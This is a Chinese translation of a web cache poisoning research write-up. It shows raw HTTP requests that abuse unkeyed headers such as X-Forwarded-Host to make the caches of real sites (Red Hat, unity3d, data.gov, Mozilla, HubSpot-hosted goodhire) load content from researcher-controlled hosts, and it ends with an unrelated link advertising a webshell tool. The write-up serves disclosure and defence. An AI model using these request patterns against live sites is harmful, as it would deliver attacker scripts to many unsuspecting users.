前言
由於這整篇文章的篇幅較大,並且內容較深,我決定將原文拆分成兩部分進行翻譯:第一部分涉及投毒的基本原理和幾個投毒的案例;第二部分涉及投毒的案例、解決辦法和結論
摘要
長期以來,web緩存投毒都是一個被人遺忘的漏洞,一種用於嚇唬開發人員乖乖修復但是無人可實際利用的“理論”上的威脅。
在本文中,我將向大家展示如何通過使用深奧的web特性來將它們的緩存系統轉變爲漏洞利用代碼(exploit)投放系統,每一位錯誤訪問他們主頁的用戶都是這種攻擊的目標。
我將結合讓我我能夠控制大量流行網站和架構的漏洞來說明和進一步擴展這種技術,從簡單的單一請求攻擊到劫持javascript,越過緩存層,顛覆社交媒體,誤導雲服務的複雜漏洞利用鏈。這篇文章也提供pdf格式,它同時是我的Black Hat USA presentation,因此幻燈片和視頻將在適當的時候提供。
核心概念
緩存概念介紹(Caching 101)
要掌握緩存投毒技術,我們需要快速瞭解緩存的基本原理。 Web緩存位於用戶和應用程序服務器之間,用於保存和提供某些響應的副本。在下圖中,我們可以看到三個用戶一個接一個地獲取相同的資源:
緩存技術旨在通過減少延遲來加速頁面加載,還可以減少應用程序服務器上的負載。一些公司使用像Varnish這樣的軟件來託管他們自己的緩存,而其他公司選擇依賴像Cloudflare這樣的內容分發網絡(CDN),緩存分佈在世界各地。此外,一些流行的Web應用程序和框架(如Drupal)具有內置緩存。
還有其他類型的緩存,例如客戶端瀏覽器緩存和DNS緩存,但它們不是本次研究的關注點。
緩存鍵(Cache keys)
緩存的概念可能聽起來簡單明瞭,但它隱藏了一些有風險的假設。每當緩存服務收到對資源的請求時,它需要確定它是否已經保存了這個指定資源的副本,並且可以使用該副本進行響應,或者是否需要將請求轉發給應用程序服務器。
確定兩個請求是否正在嘗試加載相同的資源可能是很棘手的問題;對請求進行逐字節匹配的做法是完全無效的,因爲HTTP請求充滿了無關緊要的數據,例如請求頭中的User-Agent字段:
GET /blog/post.php?mobile=1 HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 … Firefox/57.0
Accept: /; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://google.com/
Cookie: jessionid=xyz;
Connection: close
緩存使用緩存鍵的概念解決了這個問題 – 使用一些特定要素用於完全標識所請求的資源。在上面的請求中,我用橙色高亮了典型的緩存鍵中包含的值。
這意味着緩存系統認爲以下兩個請求是等效的,並且將很樂意的使用從第一個請求緩存的響應來響應第二個請求:
GET /blog/post.php?mobile=1 HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 … Firefox/57.0
Cookie: language=pl;
Connection: close
GET /blog/post.php?mobile=1 HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 … Firefox/57.0
Cookie: language=en;
Connection: close
因此,該頁面將以錯誤的語言輸出提供給第二位訪問者。這揭示了以下的問題-由非緩存鍵導致的差異化響應都能夠被存儲並提供給其他用戶。理論上來說,網站可以使用“Vary”響應頭來指定額外應該加入到緩存鍵中的其他請求頭。在實踐中,對Vary響應頭的使用僅停留在理論階段,像Cloudflare這樣的CDN完全忽略它,大家甚至沒有意識到他們的應用程序支持任何基於請求頭的輸入。
這會導致大量意外的破壞,但當有人故意開始利用它時,這種樂趣才真正開始。
緩存投毒(Cache Poisoning)
Web緩存投毒的目的是發送導致有害響應的請求,將該響應將保存在緩存服務中並提供給其他用戶。
在本文中,我們將使用不在緩存鍵中的輸入(如HTTP請求頭)來實現緩存投毒,這不是緩存投毒的唯一方法-你也可以使用HTTP響應拆分攻擊和Request Smuggling攻擊–但我認爲本文討論是最好的方法。請注意,Web緩存服務中還存在一種稱爲Web緩存欺騙的不同類型的攻擊,不要和緩存投毒弄混了。
方法(Methodology)
我們將使用以下方法發現緩存投毒漏洞:
我將會先給出一個快速概述,然後在真實的網站演示漏洞如何生效,而不是試圖在一開始就深入解析具體的技術細節。
第一步是識別非緩存鍵的輸入。手動執行此操作非常繁瑣,因此我開發了一個名爲Param Miner的Burp Suite開源插件,通過猜測header/ cookie名稱來自動執行此步驟,並觀察它們是否對應用程序的響應產生影響。
在找到非緩存鍵輸入之後,接下來的步驟就是去評估你可以造成多大的危害,然後嘗試將其存儲在緩存中,如果失敗了,你需要更好地瞭解緩存的工作方式,並在重試之前搜索可緩存的目標頁面。頁面是否被緩存可以基於多種因素,包括文件擴展名,內容類型,路由,狀態代碼和響應頭。
緩存的響應有可能掩蓋住非緩存鍵的輸入,因此如果您嘗試手動檢測或發現非緩存鍵的輸入,一個緩存爆破工具(cache-buster)就是十分重要的了。如果加載了Param Miner,則可以通過向查詢字符串添加值爲隨機($ randomplz)的參數來確保每個請求都具有唯一的緩存鍵。
在審計線上網站時,意外投毒對其他訪問者來說是一種永久性危害。 Param Miner通過向來自Burp的所有出站請求添加緩存破壞(cache buster)來緩解這種情況。此緩存爆破工具具有固定值,因此您可以自己觀察緩存行爲,而不會影響其他用戶。
實例研究(Case Studies)
讓我們來看看這項技術應用於真實的線上網站時會發生什麼。像往常一樣,我特意選擇對安全人員的測試有友好政策的網站。這裏討論的所有漏洞都已上報和被修補,但由於項目的“非公開”性質,我不得不去編纂一部分的內容。
其中許多案例研究在非緩存鍵輸入的同時利用了XSS等輔助漏洞,謹記,如果沒有緩存投毒漏洞,這些漏洞就沒用了,因爲沒有可靠的方法強制其他用戶在跨域請求中發送自定義請求頭。這可能就是這些輔助漏洞如此容易發現的原因。
基本投毒概念(Basic Poisoning)
儘管緩存投毒聽起來有着可怕的影響,但緩存投毒通常很容易被利用。首先,讓我們來看看Red Hat的主頁。 Param Miner馬上發現了一個非緩存鍵的輸入:
GET /en?cb=1 HTTP/1.1
Host: www.redhat.com
X-Forwarded-Host: canary
HTTP/1.1 200 OK
Cache-Control: public, no-cache
…
GET /en?dontpoisoneveryone=1 HTTP/1.1
Host: www.redhat.com
X-Forwarded-Host: a.">
HTTP/1.1 200 OK
Cache-Control: public, no-cache
…
GET /en?dontpoisoneveryone=1 HTTP/1.1
Host: www.redhat.com
HTTP/1.1 200 OK
…
確定投毒時機(Discreet poisoning)
在這一點上,我們已經證明可以通過向https://www.redhat.com/en?dontpoisoneveryone=1投毒來進行攻擊,以避免影響網站的實際的訪問者。爲了真正的向博客的主頁投毒並將我們的漏洞利用代碼(exploit)分發給所有後續訪問者,我們需要確保在緩存的響應過期後我們發送的請求第一個達到主頁。
可以嘗試使用像Burp Intruder或自定義腳本之類的工具來發送大量請求,但這種笨重的方法是收效甚微的。攻擊者可以通過對目標的緩存到期系統進行逆向工程並通過瀏覽文檔和監控網站來預測準確的到期時間來解決這個問題,但這聽起來就像是一項艱苦的工作。
幸運的是,許多網站讓我們的漏洞人生簡單許多。看看unity3d.com中的緩存投毒漏洞:
GET / HTTP/1.1
Host: unity3d.com
X-Host: portswigger-labs.net
HTTP/1.1 200 OK
Via: 1.1 varnish-v4
Age: 174
Cache-Control: public, max-age=1800
…
在請求頭中,我們有一個非緩存鍵輸入 – X-Host請求頭 – 被用於生成一個腳本導入的標籤。響應頭“Age”和“max-age”分別指定當前響應的時間和它將過期的時間。總之,這些告訴我們爲確保我們的響應被緩存,我們應該發送的payload的確切時間。
選擇性投毒(Selective Poisoning)
HTTP響應頭節省了解緩存的內部工作原理的時間。拿下面這個是用了fastly cdn服務的著名網站舉例:
GET / HTTP/1.1
Host: redacted.com
User-Agent: Mozilla/5.0 … Firefox/60.0
X-Forwarded-Host: a">
HTTP/1.1 200 OK
X-Served-By: cache-lhr6335-LHR
Vary: User-Agent, Accept-Encoding
…
DOM 投毒(DOM Poisoning)
成功利用非緩存鍵的輸入並不總是像複製黏貼xss payload那樣簡單,看下面這個例子:
GET /dataset HTTP/1.1
Host: catalog.data.gov
X-Forwarded-Host: canary
HTTP/1.1 200 OK
Age: 32707
X-Cache: Hit from cloudfront
…
GET /api/i18n/en HTTP/1.1
Host: id.burpcollaborator.net
這條請求記錄表明,在網站的某個地方,有一些JavaScript代碼使用data-site-root的屬性來確定從哪裏加載一些網站語言的數據。我試圖通過訪https://catalog.data.gov/api/i18n/en來找出這些數據應該是什麼樣的,但只是收到了一個空的JSON響應。幸運的是,將’en’改爲’es’的行爲拋出了一絲絲線索:
GET /api/i18n/es HTTP/1.1
Host: catalog.data.gov
HTTP/1.1 200 OK
…
{“Show more”:“Mostrar más”}
該文件包含用於將短語翻譯爲用戶所選語言的映射。通過創建我們自己的翻譯文件並使用指向用戶的緩存投毒,我們可以將短語翻譯變成漏洞利用代碼(exploit):
GET /api/i18n/en HTTP/1.1
Host: portswigger-labs.net
HTTP/1.1 200 OK
…
{“Show more”:"
這就是最終結果?任何查看包含“顯示更多”文字的網頁的人都會被利用。
劫持Mozilla SHIELD(Hijacking Mozilla SHIELD)
我配置的“X-Forwarded-Host”匹配/替換規在幫助我解決上一個漏洞利用問題的同時產生意想不到的額外效果。除了來自catalog.data.gov的交互之外,我還收到了一段非常神祕的內容:
GET /api/v1/recipe/signed/ HTTP/1.1
Host: xyz.burpcollaborator.net
User-Agent: Mozilla/5.0 … Firefox/57.0
Accept: application/json
origin: null
X-Forwarded-Host: xyz.burpcollaborator.net
自身發出origin:null的請求頭情況非常的少見,我以前從未見過瀏覽器發出完全小寫的Origin請求頭。通過篩選proxy歷史記錄,發現罪魁禍首是Firefox本身。 Firefox會試圖獲取一份“recipes”列表,作爲SHIELD系統的一部分,用於靜默安裝擴展以用於營銷和研究目的。該系統曾因強行分發“Mr Robot’”擴展而聞名,引起了用戶的強烈不滿。無論如何,看起來X-Forwarded-Host請求頭欺騙了這個系統,將Firefox引導到我自己的網站以獲取recipes:
GET /api/v1/ HTTP/1.1
Host: normandy.cdn.mozilla.net
X-Forwarded-Host: xyz.burpcollaborator.net
HTTP/1.1 200 OK
{
“action-list”: “https://xyz.burpcollaborator.net/api/v1/action/”,
“action-signed”: “https://xyz.burpcollaborator.net/api/v1/action/signed/”,
“recipe-list”: “https://xyz.burpcollaborator.net/api/v1/recipe/”,
“recipe-signed”: “https://xyz.burpcollaborator.net/api/v1/recipe/signed/”,
…
}
recipes看起來是這樣的:
[{
“id”: 403,
“last_updated”: “2017-12-15T02:05:13.006390Z”,
“name”: “Looking Glass (take 2)”,
“action”: “opt-out-study”,
“addonUrl”: “https://normandy.amazonaws.com/ext/pug.mrrobotshield1.0.4-signed.xpi”,
“filter_expression”: “normandy.country in [‘US’, ‘CA’]\n && normandy.version >= ‘57.0’\n)”,
“description”: “MY REALITY IS JUST DIFFERENT THAN YOURS”,
}]
該系統使用NGINX進行緩存,自然很樂意保存我投毒的響應並將其提供給其他用戶。 Firefox在瀏覽器打開後不久就會抓取此URL並定期重新獲取它,最終意味着所有數以千萬的Firefox日常用戶最終都可能從我的網站上獲取recipes。
這提供了多種可能。 Firefox所使用的recipes已經做了簽名,所以我不能通過只安裝惡意插件然後獲得完整的代碼執行,但我可以將數以千萬的真正用戶指向我選擇的URL。顯而易見,這除了可以被利用於DDoS,如果適當的和內存損壞漏洞相結合,這將是非常嚴重的問題。此外,一些後端Mozilla系統使用非簽名的recipes,這可以被用於在其基礎設施內部獲得穩定的切入點並可能獲得recipes的簽名密鑰。此外,我可以重放我選擇的舊recipes,這可能會大規模的強制安裝舊包含知有漏洞的擴展,或者導致‘Mr Robot’的意外迴歸。
我向Mozilla報告了這一問題,他們在24小時內修補了他們的基礎設施,但是在漏洞的嚴重程度上存在一些分歧,因此只獲得了1000美元的獎勵。
路由投毒(Route poisoning)
有些應用程序不僅無知地使用請求頭生成URL,而且無知地將它們用於內部請求路由:
GET / HTTP/1.1
Host: www.goodhire.com
X-Forwarded-Server: canary
HTTP/1.1 404 Not Found
CF-Cache-Status: MISS
…
The domain canary does not exist in our system.
Goodhire.com顯然是託管在HubSpot上的,而HubSpot提供優先級高於主機host 請求頭的X-Forwarded-Server請求頭,並且疑惑於這個請求用於哪個用戶。雖然我們的輸入在響應頁面種回顯,但它是HTML編碼的,所以直接的XSS攻擊在這裏不起作用。要成功利用這一點,我們需要訪問hubspot.com,註冊爲HubSpot用戶,在我的HubSpot主頁上放置一個payload,並且最終欺騙HubSpot在goodhire.com上提供此響應:GET / HTTP/1.1
Host: www.goodhire.com
X-Forwarded-Host: portswigger-labs-4223616.hs-sites.com
HTTP/1.1 200 OK
…
Cloudflare將樂意緩存此響應,並將其提供給後續訪問者。 然而在將此報告上交給HubSpot之後,HubSpot通過永久封掉我的IP地址來解決問題。經過一番鼓動後,他們還是修補了漏洞。
像這樣的內部錯誤路由漏洞在這些單個系統處理針對許多不同客戶的請求的應用程序(SaaS應用程序)中特別常見。
xise菜刀 http://caidaome.com/